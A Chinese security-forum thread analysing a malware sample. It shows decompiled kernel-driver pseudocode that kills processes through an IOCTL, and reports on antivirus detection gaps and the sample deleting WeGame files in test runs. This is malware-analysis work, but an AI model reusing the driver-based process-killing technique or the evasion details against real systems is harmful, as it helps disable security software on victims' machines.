样本 1x

显示全部楼层 · 发表于 2024-5-17 18:19:33

         case 0xB4A00404:
            if ( (unsigned int)v9 >= 0x18 )
            return (unsigned int)sub_1837C(Irp->AssociatedIrp.MasterIrp);

__int64 __fastcall sub_1837C(__int64 a1)
{
  unsigned int v2; // ebx
  void *v3; // rax
  unsigned int v4; // edi
  NTSTATUS v6; // eax
  bool v7; // sf
  unsigned int v8; // ecx
  unsigned int v9; // edi
  unsigned int v10; // eax
  struct _CLIENT_ID ClientId; // [rsp+20h] [rbp-48h] BYREF
  struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+30h] [rbp-38h] BYREF
  void *ProcessHandle; // [rsp+78h] [rbp+10h] BYREF

  v2 = 0;
  if ( MmIsAddressValid((PVOID)a1) )
  {
v3 = *(void **)(a1 + 4);
v4 = 0;
if ( !v3 )
   return 3221225485i64;
memset(&ObjectAttributes.RootDirectory, 0, 20);
ObjectAttributes.SecurityDescriptor = 0i64;
ObjectAttributes.SecurityQualityOfService = 0i64;
ClientId.UniqueThread = 0i64;
ObjectAttributes.Length = 48;
ClientId.UniqueProcess = v3;
while ( 1 )
{
   v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId);
   v7 = v6 < 0;
   v2 = v6;
   if ( !v6 )
      break;
   v8 = v4++;
   if ( v8 >= 3 )
   {
      v7 = v6 < 0;
      break;
   }
}
if ( !v7 )
{
   v9 = 0;
   do
   {
      v2 = ZwTerminateProcess(ProcessHandle, 0);
      if ( !v2 )
      break;
      v10 = v9++;
   }
   while ( v10 < 3 );
   ZwClose(ProcessHandle);
}
  }
  return v2;
}
通过驱动杀进程
驱动除了360拉黑外，基本都过
https://www.virustotal.com/gui/f ... 2fff071503dcbe15856

显示全部楼层 · 发表于 2024-5-17 18:20:24

本帖最后由 Yjln 于 2024-5-17 18:22 编辑

这能加白？

显示全部楼层 · 发表于 2024-5-17 18:25:50

莒县小哥发表于 2024-5-17 18:16

我下午的时候运行之间就把安全中心禁用了，到现在扫描也不报你是运行了吗？

显示全部楼层 · 发表于 2024-5-17 18:36:19

Xopii 发表于 2024-5-17 18:25
我下午的时候运行之间就把安全中心禁用了，到现在扫描也不报你是运行了吗？

没测双击纯扫描

显示全部楼层 · 发表于 2024-5-17 18:55:35

诺顿扫描miss双击报错
当然下载智能分析是直接要求删除。。

显示全部楼层 · 发表于 2024-5-17 20:00:18

本帖最后由 Yjln 于 2024-5-17 21:35 编辑

wuming_bpnes 发表于 2024-5-17 18:55
诺顿扫描miss双击报错
当然下载智能分析是直接要求删除。。

我这能运行，衍生物都在C:\Program Files (x86)\Wegame里面，会一直删wegame-daemon.exe和wegame-service.exe

显示全部楼层 · 发表于 2024-5-17 22:26:28

Yjln 发表于 2024-5-17 20:00
我这能运行，衍生物都在C:\Program Files (x86)\Wegame里面，会一直删wegame-daemon.exe和wegame-service ...

神奇，我在虚拟机里面双击直接报Error，跟7楼的框一模一样。不知道是虚拟机缺坏境还是有这玩意有虚拟机检查。

显示全部楼层 · 发表于 2024-5-17 22:57:29

wuming_bpnes 发表于 2024-5-17 22:26
神奇，我在虚拟机里面双击直接报Error，跟7楼的框一模一样。不知道是虚拟机缺坏境还是有这玩意有虚拟机检 ...

我也虚拟机，不过我第二次双击直接自退了，动作都没有

显示全部楼层 · 发表于 2024-5-17 23:14:17

[病毒样本] 样本 1x

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

浏览过的版块